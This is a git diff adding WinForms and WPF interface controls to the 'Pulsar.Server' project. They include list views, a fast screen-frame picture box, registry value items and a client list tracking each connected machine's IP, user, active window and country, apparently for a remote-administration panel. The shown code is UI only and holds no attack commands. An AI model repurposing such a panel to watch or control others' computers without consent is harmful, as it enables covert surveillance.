Control + { + public enum Alignment + { + Horizontal, + Vertical + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public Alignment LineAlignment { get; set; } + + public Line() + { + this.TabStop = false; + this.BackColor = GetBackgroundColor(); + } + + protected override void OnPaint(PaintEventArgs e) + { + base.OnPaint(e); + e.Graphics.DrawLine(new Pen(new SolidBrush(Color.LightGray)), new Point(5, 5), + LineAlignment == Alignment.Horizontal ? new Point(500, 5) : new Point(5, 500)); + } + + protected override void OnPaintBackground(PaintEventArgs e) + { + using (var brush = new SolidBrush(GetBackgroundColor())) + { + e.Graphics.FillRectangle(brush, ClientRectangle); + } + } + + private Color GetBackgroundColor() + { + if (Settings.DarkMode) + { + return Color.FromArgb(43, 43, 43); + } + else + { + return this.BackColor; + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Server/Controls/ListViewEx.cs b/Pulsar.Server/Controls/ListViewEx.cs new file mode 100644 index 0000000..0fd8f24 --- /dev/null +++ b/Pulsar.Server/Controls/ListViewEx.cs @@ -0,0 +1,149 @@ +ο»Ώusing Pulsar.Common.Helpers; +using Pulsar.Server.Helper; +using Pulsar.Server.Utilities; +using System; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; +namespace Pulsar.Server.Controls +{ + internal class AeroListView : ListView + { + private const uint WM_CHANGEUISTATE = 0x127; + private const short UIS_SET = 1; + private const short UISF_HIDEFOCUS = 0x1; + private readonly IntPtr _removeDots = new IntPtr(NativeMethodsHelper.MakeWin32Long(UIS_SET, UISF_HIDEFOCUS)); + + private const int WM_VSCROLL = 0x115; + private const int SB_BOTTOM = 7; + private const int SB_TOP = 6; + private const int WS_VSCROLL = 0x00200000; + private const int WS_HSCROLL = 0x00100000; + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public ListViewColumnSorter LvwColumnSorter { get; set; } + + [DefaultValue(true)] + public bool AllowAutoSort { get; set; } = true; + + /// + /// Initializes a new instance of the class. + /// + public AeroListView() + { + SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); + this.LvwColumnSorter = new ListViewColumnSorter(); + this.ListViewItemSorter = LvwColumnSorter; + this.View = View.Details; + this.FullRowSelect = true; + + Resize += AeroListView_Resize; + } + + /// + /// Gets the creation parameters. + /// + protected override CreateParams CreateParams + { + get + { + CreateParams cp = base.CreateParams; + cp.Style |= WS_VSCROLL | WS_HSCROLL; // Always show both scrollbars + return cp; + } + } + + + private void AeroListView_Resize(object sender, EventArgs e) + { + if (Columns.Count == 0) return; + + int totalWidth = 0; + + for (int i = 0; i < Columns.Count - 1; i++) + { + totalWidth += Columns[i].Width; + } + + int newWidth = ClientSize.Width - totalWidth; + if (newWidth > 0) + { + Columns[Columns.Count - 1].Width = newWidth; + } + } + + /// + /// Refreshes the scrollbars to ensure they are properly displayed. + /// + public void RefreshScrollBars() + { + // Yes I chatGPT this I have no idea wtf is going on. + // Force scrollbars to update by sending scroll messages + if (IsHandleCreated) + { + // Scroll to bottom and then back to top to refresh vertical scrollbar + NativeMethods.SendMessage(this.Handle, WM_VSCROLL, (IntPtr)SB_BOTTOM, IntPtr.Zero); + NativeMethods.SendMessage(this.Handle, WM_VSCROLL, (IntPtr)SB_TOP, IntPtr.Zero); + + // Call UpdateScrollBars to ensure proper sizing + this.BeginUpdate(); + this.EndUpdate(); + } + } + + /// + /// Raises the event. + /// + /// The instance containing the event data. + protected override void OnHandleCreated(EventArgs e) + { + base.OnHandleCreated(e); + + NativeMethods.SetWindowTheme(this.Handle, "explorer", null); + NativeMethods.SendMessage(this.Handle, WM_CHANGEUISTATE, _removeDots, IntPtr.Zero); + + // Add this to refresh scrollbars after creation + this.BeginInvoke(new Action(() => RefreshScrollBars())); + } + + /// + /// Raises the event. + /// + /// The instance containing the event data. + protected override void OnResize(EventArgs e) + { + base.OnResize(e); + RefreshScrollBars(); + } + + /// + /// Raises the event. + /// + /// The instance containing the event data. + protected override void OnColumnClick(ColumnClickEventArgs e) + { + base.OnColumnClick(e); + if (!AllowAutoSort || this.LvwColumnSorter == null) + { + return; + } + // Determine if clicked column is already the column that is being sorted. + if (e.Column == this.LvwColumnSorter.SortColumn) + { + // Reverse the current sort direction for this column. + this.LvwColumnSorter.Order = (this.LvwColumnSorter.Order == SortOrder.Ascending) + ? SortOrder.Descending + : SortOrder.Ascending; + } + else + { + // Set the column number that is to be sorted; default to ascending. + this.LvwColumnSorter.SortColumn = e.Column; + this.LvwColumnSorter.Order = SortOrder.Ascending; + } + // Perform the sort with these new sort options. + if (!this.VirtualMode) + this.Sort(); + } + } +} \ No newline at end of file diff --git a/Pulsar.Server/Controls/MenuButton.cs b/Pulsar.Server/Controls/MenuButton.cs new file mode 100644 index 0000000..bf55397 --- /dev/null +++ b/Pulsar.Server/Controls/MenuButton.cs @@ -0,0 +1,54 @@ +ο»Ώusing System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls +{ + public class MenuButton : Button + { + [DefaultValue(null)] + public ContextMenuStrip Menu { get; set; } + + [DefaultValue(false)] + public bool ShowMenuUnderCursor { get; set; } + + protected override void OnMouseDown(MouseEventArgs mevent) + { + base.OnMouseDown(mevent); + + if (Menu != null && mevent.Button == MouseButtons.Left) + { + Point menuLocation; + + if (ShowMenuUnderCursor) + { + menuLocation = mevent.Location; + } + else + { + menuLocation = new Point(0, Height - 1); + } + + Menu.Show(this, menuLocation); + } + } + + protected override void OnPaint(PaintEventArgs pevent) + { + base.OnPaint(pevent); + + if (Menu != null) + { + int arrowX = ClientRectangle.Width - Padding.Right - 14; + int arrowY = (ClientRectangle.Height / 2) - 1; + + Color color = Color.White; + using (Brush brush = new SolidBrush(color)) + { + Point[] arrows = new Point[] { new Point(arrowX, arrowY), new Point(arrowX + 7, arrowY), new Point(arrowX + 3, arrowY + 4) }; + pevent.Graphics.FillPolygon(brush, arrows); + } + } + } + } +} diff --git a/Pulsar.Server/Controls/NoButtonTabControl.cs b/Pulsar.Server/Controls/NoButtonTabControl.cs new file mode 100644 index 0000000..a945560 --- /dev/null +++ b/Pulsar.Server/Controls/NoButtonTabControl.cs @@ -0,0 +1,23 @@ +ο»Ώusing System; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls +{ + public class NoButtonTabControl : TabControl + { + protected override void WndProc(ref Message m) + { + // Message 0x1328 is related to tab header drawing, we suppress it here. + if (m.Msg == 0x1328 && !DesignMode) + { + // Suppress the header (tab) drawing + m.Result = (IntPtr)1; + } + else + { + // Process other messages as usual + base.WndProc(ref m); + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Server/Controls/RapidPictureBox.cs b/Pulsar.Server/Controls/RapidPictureBox.cs new file mode 100644 index 0000000..b1ae7b0 --- /dev/null +++ b/Pulsar.Server/Controls/RapidPictureBox.cs @@ -0,0 +1,301 @@ +ο»Ώusing Pulsar.Server.Utilities; +using System; +using System.Diagnostics; +using System.Drawing; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing.Drawing2D; + +namespace Pulsar.Server.Controls +{ + public interface IRapidPictureBox + { + bool Running { get; set; } + Image GetImageSafe { get; set; } + + void Start(); + void Stop(); + void UpdateImage(Bitmap bmp, bool cloneBitmap = false); + } + + /// + /// Custom PictureBox Control designed for rapidly-changing images. + /// + public class RapidPictureBox : PictureBox, IRapidPictureBox + { + /// + /// True if the PictureBox is currently streaming images, else False. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public bool Running { get; set; } + + /// + /// Returns the width of the original screen. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + [Browsable(false)] + public int ScreenWidth { get; private set; } + + /// + /// Returns the height of the original screen. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + [Browsable(false)] + public int ScreenHeight { get; private set; } + + /// + /// Provides thread-safe access to the Image of this Picturebox. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public Image GetImageSafe + { + get + { + lock (_imageLock) + { + return _frame; + } + } + set + { + lock (_imageLock) + { + var old = _frame; + _frame = value as Bitmap; + old?.Dispose(); + } + + RequestRepaint(); + } + } + + /// + /// The lock object for the Picturebox's image. + /// + private readonly object _imageLock = new object(); + + /// + /// Latest frame to draw. We avoid assigning to PictureBox.Image to prevent cross-thread UI access and allocations. + /// + private Bitmap _frame; + + /// + /// Small placeholder assigned to base.Image so existing code paths that check Image != null keep working. + /// + private Bitmap _placeholder; + + /// + /// Prevent flooding the message queue; coalesce multiple UpdateImage calls into one repaint. + /// + private bool _repaintPending; + + /// + /// The Stopwatch for internal FPS measuring. + /// + private Stopwatch _sWatch; + + /// + /// The internal class for FPS measuring. + /// + private FrameCounter _frameCounter; + + /// + /// Subscribes an Eventhandler to the FrameUpdated event. + /// + /// The Eventhandler to set. + public void SetFrameUpdatedEvent(FrameUpdatedEventHandler e) + { + _frameCounter.FrameUpdated += e; + } + + /// + /// Unsubscribes an Eventhandler from the FrameUpdated event. + /// + /// The Eventhandler to remove. + public void UnsetFrameUpdatedEvent(FrameUpdatedEventHandler e) + { + _frameCounter.FrameUpdated -= e; + } + + /// + /// Starts the internal FPS measuring. + /// + public void Start() + { + _frameCounter = new FrameCounter(); + + _sWatch = Stopwatch.StartNew(); + + Running = true; + } + + /// + /// Stops the internal FPS measuring. + /// + public void Stop() + { + _sWatch?.Stop(); + + Running = false; + } + + /// + /// Updates the Image of this Picturebox. + /// + /// The new bitmap to use. + /// If True the bitmap will be cloned, else it uses the original bitmap. + public void UpdateImage(Bitmap bmp, bool cloneBitmap) + { + try + { + CountFps(); + + if ((ScreenWidth != bmp.Width) || (ScreenHeight != bmp.Height)) + UpdateScreenSize(bmp.Width, bmp.Height); + + // Swap the frame without resizing; scaling is handled in OnPaint for speed. + lock (_imageLock) + { + var old = _frame; + _frame = cloneBitmap ? (Bitmap)bmp.Clone() : bmp; + old?.Dispose(); + } + + RequestRepaint(); + } + catch (InvalidOperationException) + { + } + catch (Exception) + { + } + } + + /// + /// Constructor, sets Picturebox double-buffered and initializes the Framecounter. + /// + public RapidPictureBox() + { + this.SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.OptimizedDoubleBuffer, true); + + _placeholder = new Bitmap(1, 1); + _placeholder.SetPixel(0, 0, Color.Transparent); + base.Image = _placeholder; + } + + protected override void OnPaint(PaintEventArgs pe) + { + Bitmap localFrame = null; + lock (_imageLock) + { + if (_frame == null) + return; + localFrame = _frame; + } + + var g = pe.Graphics; + g.SmoothingMode = SmoothingMode.None; + g.CompositingMode = CompositingMode.SourceCopy; + g.CompositingQuality = CompositingQuality.HighSpeed; + g.PixelOffsetMode = PixelOffsetMode.Half; + g.InterpolationMode = InterpolationMode.NearestNeighbor; + + if (localFrame == null) + return; + + var cs = this.ClientSize; + if (cs.Width <= 0 || cs.Height <= 0) return; + + if (localFrame.Width == cs.Width && localFrame.Height == cs.Height) + { + g.DrawImageUnscaled(localFrame, 0, 0); + } + else + { + g.DrawImage(localFrame, this.ClientRectangle); + } + } + + protected override void OnPaintBackground(PaintEventArgs pevent) + { + if (this.BackColor.A == 255) + { + using (var b = new SolidBrush(this.BackColor)) + { + pevent.Graphics.FillRectangle(b, this.ClientRectangle); + } + } + else + { + base.OnPaintBackground(pevent); + } + } + + private void UpdateScreenSize(int newWidth, int newHeight) + { + ScreenWidth = newWidth; + ScreenHeight = newHeight; + } + + private void CountFps() + { + var deltaTime = (float)_sWatch.Elapsed.TotalSeconds; + _sWatch = Stopwatch.StartNew(); + + _frameCounter.Update(deltaTime); + } + + private void RequestRepaint() + { + if (_repaintPending) + return; + + _repaintPending = true; + + void doInvalidate() + { + if (!IsDisposed) + { + Invalidate(); + //Update(); + } + _repaintPending = false; + } + + if (IsHandleCreated && InvokeRequired) + { + try { BeginInvoke((Action)(doInvalidate)); } catch { _repaintPending = false; } + } + else + { + doInvalidate(); + } + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + lock (_imageLock) + { + _frame?.Dispose(); + _frame = null; + } + try + { + if (ReferenceEquals(base.Image, _placeholder)) + { + base.Image = null; + } + _placeholder?.Dispose(); + } + catch { } + finally + { + _placeholder = null; + } + } + base.Dispose(disposing); + } + } +} \ No newline at end of file diff --git a/Pulsar.Server/Controls/RegistryTreeView.cs b/Pulsar.Server/Controls/RegistryTreeView.cs new file mode 100644 index 0000000..379fd27 --- /dev/null +++ b/Pulsar.Server/Controls/RegistryTreeView.cs @@ -0,0 +1,13 @@ +ο»Ώusing System.Windows.Forms; + +namespace Pulsar.Server.Controls +{ + public class RegistryTreeView : TreeView + { + public RegistryTreeView() + { + //Enable double buffering and ignore WM_ERASEBKGND to reduce flicker + SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); + } + } +} diff --git a/Pulsar.Server/Controls/RegistryValueLstItem.cs b/Pulsar.Server/Controls/RegistryValueLstItem.cs new file mode 100644 index 0000000..f20380a --- /dev/null +++ b/Pulsar.Server/Controls/RegistryValueLstItem.cs @@ -0,0 +1,75 @@ +ο»Ώusing Pulsar.Common.Models; +using Pulsar.Server.Extensions; +using Pulsar.Server.Registry; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls +{ + public class RegistryValueLstItem : ListViewItem + { + private string _type { get; set; } + private string _data { get; set; } + + public string RegName + { + get { return this.Name; } + set + { + this.Name = value; + this.Text = RegValueHelper.GetName(value); + } + } + public string Type + { + get { return _type; } + set + { + _type = value; + + if (this.SubItems.Count < 2) + this.SubItems.Add(_type); + else + this.SubItems[1].Text = _type; + + this.ImageIndex = GetRegistryValueImgIndex(_type); + } + } + + public string Data + { + get { return _data; } + set + { + _data = value; + + if (this.SubItems.Count < 3) + this.SubItems.Add(_data); + else + this.SubItems[2].Text = _data; + } + } + + public RegistryValueLstItem(RegValueData value) + { + RegName = value.Name; + Type = value.Kind.RegistryTypeToString(); + Data = RegValueHelper.RegistryValueToString(value); + } + + private int GetRegistryValueImgIndex(string type) + { + switch (type) + { + case "REG_MULTI_SZ": + case "REG_SZ": + case "REG_EXPAND_SZ": + return 0; + case "REG_BINARY": + case "REG_DWORD": + case "REG_QWORD": + default: + return 1; + } + } + } +} diff --git a/Pulsar.Server/Controls/StatsElementHost.cs b/Pulsar.Server/Controls/StatsElementHost.cs new file mode 100644 index 0000000..0a4d1da --- /dev/null +++ b/Pulsar.Server/Controls/StatsElementHost.cs @@ -0,0 +1,47 @@ +using System.Windows.Forms; +using System.Windows.Forms.Integration; +using Pulsar.Server.Controls.Wpf; +using Pulsar.Server.Statistics; + +#nullable enable + +namespace Pulsar.Server.Controls +{ + public sealed class StatsElementHost : ElementHost + { + private readonly StatsView _statsView; + private ClientStatisticsSnapshot? _lastSnapshot; + + public StatsElementHost() + { + _statsView = new StatsView(); + Child = _statsView; + Dock = DockStyle.Fill; + } + + public void ShowLoading() + { + _statsView.ShowLoading(); + } + + public void ShowError(string message) + { + _statsView.ShowError(message); + } + + public void UpdateSnapshot(ClientStatisticsSnapshot snapshot) + { + _lastSnapshot = snapshot; + _statsView.UpdateSnapshot(snapshot); + } + + public void ApplyTheme(bool isDarkMode) + { + _statsView.ApplyTheme(isDarkMode); + if (_lastSnapshot != null && !_lastSnapshot.HasError) + { + _statsView.UpdateSnapshot(_lastSnapshot); + } + } + } +} diff --git a/Pulsar.Server/Controls/WordTextBox.Designer.cs b/Pulsar.Server/Controls/WordTextBox.Designer.cs new file mode 100644 index 0000000..1b3a35c --- /dev/null +++ b/Pulsar.Server/Controls/WordTextBox.Designer.cs @@ -0,0 +1,36 @@ +ο»Ώnamespace Pulsar.Server.Controls +{ + partial class WordTextBox + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + components = new System.ComponentModel.Container(); + } + + #endregion + } +} diff --git a/Pulsar.Server/Controls/WordTextBox.cs b/Pulsar.Server/Controls/WordTextBox.cs new file mode 100644 index 0000000..1c6fd65 --- /dev/null +++ b/Pulsar.Server/Controls/WordTextBox.cs @@ -0,0 +1,175 @@ +ο»Ώusing Pulsar.Server.Enums; +using System; +using System.ComponentModel; +using System.Globalization; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls +{ + public partial class WordTextBox : TextBox + { + private bool isHexNumber; + private WordType type; + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public override int MaxLength + { + get + { + return base.MaxLength; + } + set { } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public bool IsHexNumber + { + get { return isHexNumber; } + set + { + if (isHexNumber == value) + return; + + if (value) + { + if (Type == WordType.DWORD) + Text = UIntValue.ToString("x"); + else + Text = ULongValue.ToString("x"); + } + else + { + if (Type == WordType.DWORD) + Text = UIntValue.ToString(); + else + Text = ULongValue.ToString(); + } + + isHexNumber = value; + + UpdateMaxLength(); + } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public WordType Type + { + get { return type; } + set + { + if (type == value) + return; + + type = value; + + UpdateMaxLength(); + } + } + + public uint UIntValue + { + get + { + try + { + if (String.IsNullOrEmpty(Text)) + return 0; + else if (IsHexNumber) + return UInt32.Parse(Text, NumberStyles.HexNumber); + else + return UInt32.Parse(Text); + } + catch (Exception) + { + return UInt32.MaxValue; + } + } + } + + public ulong ULongValue + { + get + { + try + { + if (String.IsNullOrEmpty(Text)) + return 0; + else if (IsHexNumber) + return UInt64.Parse(Text, NumberStyles.HexNumber); + else + return UInt64.Parse(Text); + } + catch (Exception) + { + return UInt64.MaxValue; + } + } + } + + public bool IsConversionValid() + { + if (String.IsNullOrEmpty(Text)) + return true; + + if (!IsHexNumber) + { + return ConvertToHex(); + } + return true; + } + + public WordTextBox() + { + InitializeComponent(); + base.MaxLength = 8; + } + + protected override void OnKeyPress(KeyPressEventArgs e) + { + base.OnKeyPress(e); + e.Handled = !IsValidChar(e.KeyChar); + } + + private bool IsValidChar(char ch) + { + return (Char.IsControl(ch) || + Char.IsDigit(ch) || + (IsHexNumber && Char.IsLetter(ch) && Char.ToLower(ch) <= 'f')); + } + + private void UpdateMaxLength() + { + if (Type == WordType.DWORD) + { + if (IsHexNumber) + base.MaxLength = 8; + else + base.MaxLength = 10; + } + else + { + if (IsHexNumber) + base.MaxLength = 16; + else + base.MaxLength = 20; + } + } + + + private bool ConvertToHex() + { + try + { + if (Type == WordType.DWORD) + UInt32.Parse(Text); + else + UInt64.Parse(Text); + return true; + } + catch (Exception) + { + return false; + } + } + } +} diff --git a/Pulsar.Server/Controls/Wpf/ClientListEntry.cs b/Pulsar.Server/Controls/Wpf/ClientListEntry.cs new file mode 100644 index 0000000..7f955b4 --- /dev/null +++ b/Pulsar.Server/Controls/Wpf/ClientListEntry.cs @@ -0,0 +1,176 @@ +using Pulsar.Server.Networking; +using Pulsar.Server.Utilities; +using System; +using System.ComponentModel; +using System.Runtime.CompilerServices; +using System.Windows.Media; + +#nullable enable + +namespace Pulsar.Server.Controls.Wpf +{ + public sealed class ClientListEntry : INotifyPropertyChanged + { + private string _ip = string.Empty; + private string _nickname = string.Empty; + private string _tag = string.Empty; + private string _userAtPc = string.Empty; + private string _version = string.Empty; + private string _status = string.Empty; + private string _currentWindow = string.Empty; + private string _userStatus = string.Empty; + private string _countryWithCode = string.Empty; + private string _country = string.Empty; + private string _operatingSystem = string.Empty; + private string _accountType = string.Empty; + private bool _isFavorite; + private string _toolTip = string.Empty; + private int _imageIndex; + private ImageSource? _flagImage; + + public ClientListEntry(Client client) + { + Client = client ?? throw new ArgumentNullException(nameof(client)); + } + + public event PropertyChangedEventHandler? PropertyChanged; + + public Client Client { get; } + + public string Ip + { + get => _ip; + set => SetField(ref _ip, value); + } + + public string Nickname + { + get => _nickname; + set => SetField(ref _nickname, value); + } + + public string Tag + { + get => _tag; + set => SetField(ref _tag, value); + } + + public string UserAtPc + { + get => _userAtPc; + set => SetField(ref _userAtPc, value); + } + + public string Version + { + get => _version; + set => SetField(ref _version, value); + } + + public string Status + { + get => _status; + set => SetField(ref _status, value); + } + + public string CurrentWindow + { + get => _currentWindow; + set => SetField(ref _currentWindow, value); + } + + public string UserStatus + { + get => _userStatus; + set => SetField(ref _userStatus, value); + } + + public string CountryWithCode + { + get => _countryWithCode; + set => SetField(ref _countryWithCode, value); + } + + public string Country + { + get => _country; + set => SetField(ref _country, value); + } + + public string OperatingSystem + { + get => _operatingSystem; + set => SetField(ref _operatingSystem, value); + } + + public string AccountType + { + get => _accountType; + set => SetField(ref _accountType, value); + } + + public bool IsFavorite + { + get => _isFavorite; + set => SetField(ref _isFavorite, value); + } + + public string ToolTip + { + get => _toolTip; + set => SetField(ref _toolTip, value); + } + + public int ImageIndex + { + get => _imageIndex; + set => SetField(ref _imageIndex, value); + } + + public ImageSource? FlagImage + { + get => _flagImage; + set => SetField(ref _flagImage, value); + } + + public Brush StatusBrush => string.Equals(Status, "Connected", StringComparison.OrdinalIgnoreCase) + ? Brushes.LimeGreen + : Brushes.White; + + public Brush VersionBrush => string.Equals(Version, ServerVersion.Current, StringComparison.OrdinalIgnoreCase) + ? Brushes.Green + : Brushes.Red; + + public void UpdateStatusBrush() + { + OnPropertyChanged(nameof(StatusBrush)); + } + + public void UpdateVersionBrush() + { + OnPropertyChanged(nameof(VersionBrush)); + } + + private void SetField(ref T field, T value, [CallerMemberName] string? propertyName = null) + { + if (!Equals(field, value)) + { + field = value; + OnPropertyChanged(propertyName); + if (propertyName == nameof(Status)) + { + UpdateStatusBrush(); + } + if (propertyName == nameof(Version)) + { + UpdateVersionBrush(); + } + } + } + + private void OnPropertyChanged([CallerMemberName] string? propertyName = null) + { + PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName)); + } + } +} diff --git a/Pulsar.Server/Controls/Wpf/ClientsListView.xaml b/Pulsar.Server/Controls/Wpf/ClientsListView.xaml new file mode 100644 index 0000000..d1fb717 --- /dev/null +++ b/Pulsar.Server/Controls/Wpf/ClientsListView.xaml @@ -0,0 +1,264 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Pulsar.Server/Controls/Wpf/ClientsListView.xaml.cs b/Pulsar.Server/Controls/Wpf/ClientsListView.xaml.cs new file mode 100644 index 0000000..3c01987 --- /dev/null +++ b/Pulsar.Server/Controls/Wpf/ClientsListView.xaml.cs @@ -0,0 +1,591 @@ +using Pulsar.Server.Models; +using Pulsar.Server.Networking; +using System; +using System.Collections.Generic; +using System.Collections.ObjectModel; +using System.ComponentModel; +using System.Linq; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Data; +using System.Windows.Input; +using System.Windows.Media; +using System.Windows.Controls.Primitives; +using System.Windows.Documents; + +#nullable enable + +namespace Pulsar.Server.Controls.Wpf +{ + public partial class ClientsListView : UserControl + { + private readonly ObservableCollection _entries = new(); + private readonly Dictionary _entryLookup = new(); + private readonly CollectionViewSource _collectionViewSource; + private bool _groupByCountry; + private Predicate? _filter; + private bool _suppressSelectionNotifications; + private bool _isDragSelecting; + private ClientListEntry? _dragAnchorEntry; + private Point _dragStartPoint; + private SelectionAdorner? _selectionAdorner; + + public ClientsListView() + { + InitializeComponent(); + + _collectionViewSource = new CollectionViewSource { Source = _entries }; + _collectionViewSource.Filter += OnCollectionFilter; + ClientsView = _collectionViewSource.View; + ClientsView.SortDescriptions.Add(new SortDescription(nameof(ClientListEntry.Country), ListSortDirection.Ascending)); + ClientsView.SortDescriptions.Add(new SortDescription(nameof(ClientListEntry.IsFavorite), ListSortDirection.Descending)); + ClientsView.SortDescriptions.Add(new SortDescription(nameof(ClientListEntry.Nickname), ListSortDirection.Ascending)); + + ToggleFavoriteCommand = new RelayCommand(OnToggleFavorite); + DataContext = this; + + ApplyTheme(Settings.DarkMode); + + ClientsGrid.PreviewMouseLeftButtonDown += ClientsGrid_OnPreviewMouseLeftButtonDown; + ClientsGrid.PreviewMouseMove += ClientsGrid_OnPreviewMouseMove; + ClientsGrid.PreviewMouseLeftButtonUp += ClientsGrid_OnPreviewMouseLeftButtonUp; + ClientsGrid.MouseLeave += ClientsGrid_OnMouseLeave; + } + + public ICollectionView ClientsView { get; } + + public ICommand ToggleFavoriteCommand { get; } + + public event EventHandler>? SelectionChanged; + public event EventHandler? ItemDoubleClicked; + public event EventHandler? FavoriteToggled; + + public IReadOnlyList SelectedEntries => ClientsGrid.SelectedItems.Cast().ToList(); + + public ClientListEntry? GetEntryByClient(Client client) + { + if (client == null) + { + return null; + } + + if (Dispatcher.CheckAccess()) + { + _entryLookup.TryGetValue(client, out var entry); + return entry; + } + + return Dispatcher.Invoke(() => + { + _entryLookup.TryGetValue(client, out var entry); + return entry; + }); + } + + public ClientListEntry AddOrUpdate(Client client, Action updater) + { + if (client == null) + { + throw new ArgumentNullException(nameof(client)); + } + + if (updater == null) + { + throw new ArgumentNullException(nameof(updater)); + } + + if (Dispatcher.CheckAccess()) + { + return AddOrUpdateInternal(client, updater); + } + + return Dispatcher.Invoke(() => AddOrUpdateInternal(client, updater)); + } + + private ClientListEntry AddOrUpdateInternal(Client client, Action updater) + { + if (!_entryLookup.TryGetValue(client, out var entry)) + { + entry = new ClientListEntry(client); + _entries.Add(entry); + _entryLookup[client] = entry; + } + + updater(entry); + return entry; + } + + public void Remove(Client client) + { + if (client == null) + { + return; + } + + void RemoveInternal() + { + if (_entryLookup.TryGetValue(client, out var target)) + { + _entries.Remove(target); + _entryLookup.Remove(client); + } + } + + if (Dispatcher.CheckAccess()) + { + RemoveInternal(); + } + else + { + Dispatcher.Invoke(RemoveInternal); + } + } + + public void Clear() + { + void ClearInternal() + { + _entries.Clear(); + _entryLookup.Clear(); + } + + if (Dispatcher.CheckAccess()) + { + ClearInternal(); + } + else + { + Dispatcher.Invoke(ClearInternal); + } + } + + public void ApplyFilter(Predicate? filter) + { + _filter = filter != null ? new Predicate(o => filter((ClientListEntry)o)) : null; + Dispatcher.Invoke(() => ClientsView.Refresh()); + } + + public void SetGroupByCountry(bool enabled) + { + _groupByCountry = enabled; + Dispatcher.Invoke(UpdateGrouping); + } + + public void SetSelectedClients(IEnumerable clients) + { + if (clients == null) + { + return; + } + + var target = new HashSet(clients); + + Dispatcher.Invoke(() => + { + _suppressSelectionNotifications = true; + try + { + ClientsGrid.SelectedItems.Clear(); + foreach (var entry in _entries) + { + if (target.Contains(entry.Client)) + { + ClientsGrid.SelectedItems.Add(entry); + } + } + } + finally + { + _suppressSelectionNotifications = false; + } + }); + } + + public void RefreshSort() + { + Dispatcher.Invoke(() => + { + using (ClientsView.DeferRefresh()) + { + ClientsView.SortDescriptions.Clear(); + ClientsView.SortDescriptions.Add(new SortDescription(nameof(ClientListEntry.Country), ListSortDirection.Ascending)); + ClientsView.SortDescriptions.Add(new SortDescription(nameof(ClientListEntry.IsFavorite), ListSortDirection.Descending)); + ClientsView.SortDescriptions.Add(new SortDescription(nameof(ClientListEntry.Nickname), ListSortDirection.Ascending)); + } + }); + } + + public void RefreshItem(ClientListEntry entry) + { + Dispatcher.Invoke(() => + { + entry.UpdateStatusBrush(); + ClientsView.Refresh(); + }); + } + + public void ApplyTheme(bool isDarkMode) + { + Dispatcher.Invoke(() => + { + Resources["RowBackgroundBrush"] = CreateBrush(isDarkMode ? "#1E1E1E" : "#FFFFFF"); + Resources["RowAlternateBackgroundBrush"] = CreateBrush(isDarkMode ? "#232323" : "#F7F7F7"); + Resources["RowHoverBrush"] = CreateBrush(isDarkMode ? "#2E2E2E" : "#ECECEC"); + Resources["RowSelectedBrush"] = CreateBrush(isDarkMode ? "#162B4C" : "#D8E6FF"); + Resources["RowSelectedInactiveBrush"] = CreateBrush(isDarkMode ? "#11213C" : "#E5EFFE"); + Resources["RowForegroundBrush"] = CreateBrush(isDarkMode ? "#FFFFFF" : "#1A1A1A"); + Resources["RowSelectedForegroundBrush"] = CreateBrush(isDarkMode ? "#67B0FF" : "#0F3B8C"); + Resources["HeaderBackgroundBrush"] = CreateBrush(isDarkMode ? "#2A2A2A" : "#FFFFFF"); + Resources["HeaderForegroundBrush"] = CreateBrush(isDarkMode ? "#FFFFFF" : "#1A1A1A"); + Resources["GridBackgroundBrush"] = CreateBrush(isDarkMode ? "#141414" : "#FFFFFF"); + Resources["ScrollBarTrackBrush"] = CreateBrush(isDarkMode ? "#1E1E1E" : "#E5E5E5"); + Resources["ScrollBarThumbBrush"] = CreateBrush(isDarkMode ? "#444444" : "#B5B5B5"); + Resources["ScrollBarThumbHoverBrush"] = CreateBrush(isDarkMode ? "#5A5A5A" : "#9E9E9E"); + Resources["ScrollBarThumbPressedBrush"] = CreateBrush(isDarkMode ? "#737373" : "#7C7C7C"); + + ClientsGrid.Background = (Brush)Resources["GridBackgroundBrush"]; + ClientsGrid.RowBackground = (Brush)Resources["RowBackgroundBrush"]; + ClientsGrid.AlternatingRowBackground = (Brush)Resources["RowAlternateBackgroundBrush"]; + ClientsGrid.Foreground = (Brush)Resources["RowForegroundBrush"]; + }); + } + + private void UpdateGrouping() + { + using (ClientsView.DeferRefresh()) + { + ClientsView.GroupDescriptions.Clear(); + if (_groupByCountry) + { + ClientsView.GroupDescriptions.Add(new PropertyGroupDescription(nameof(ClientListEntry.Country))); + } + } + } + + private void OnCollectionFilter(object sender, FilterEventArgs e) + 